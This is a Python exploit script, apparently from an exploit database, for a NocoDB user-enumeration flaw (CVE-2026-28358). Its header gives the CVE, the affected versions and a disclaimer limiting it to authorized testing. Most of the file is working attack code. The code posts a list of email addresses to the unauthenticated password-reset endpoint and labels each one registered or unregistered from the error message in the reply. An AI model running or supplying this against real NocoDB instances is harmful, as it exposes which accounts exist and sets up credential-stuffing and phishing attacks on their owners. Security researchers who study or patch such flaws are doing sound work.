#!/usr/bin/env python3
# Exploit Title: NocoDB User Enumeration via Password Reset Endpoint
# CVE: CVE-2026-28358
# Date: 2026-03-04
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://nocodb.com
# Software Link: https://github.com/nocodb/nocodb
# Affected: NocoDB <= 0.301.2
# Tested on: NocoDB 0.301.0 / 0.301.2
# Category: Webapps
# Platform: Linux / Windows / Docker
# Exploit Type: Remote
# CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
# Description: Unauthenticated user enumeration via timing / response difference
# in the password reset endpoint (/api/v2/auth/password/forgot).
# Registered emails return success message while unregistered ones
# return specific error "Your email has not been registered."
# Fixed in: 0.301.3
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# -- Modify the base_url and emails list below
#
# Notes:
# • Only for authorized security testing / educational purposes
# • Do not use against systems you do not own or have explicit permission to test
#
# How to Use
#
# Step 1: Update base_url to point to your target NocoDB instance
# Step 2: Modify or replace the emails list with targets to check
#
# ────────────────────────────────────────────────
import requests
import json
base_url = "http://<NOCODB_HOST>/api/v2/auth/password/forgot"
emails = [
"registered@example.com",
"unregistered@example.com",
"admin@company.com",
"user@company.com"
]
headers = {
"Content-Type": "application/json"
}
for email in emails:
payload = {
"email": email
}
try:
response = requests.post(base_url, headers=headers, data=json.dumps(payload))
print(f"Email: {email}")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
if "Your email has not been registered" in response.text:
print("Result: Unregistered\n")
else:
print("Result: Registered (or success message)\n")
except Exception as e:
print(f"Error for {email}: {e}\n")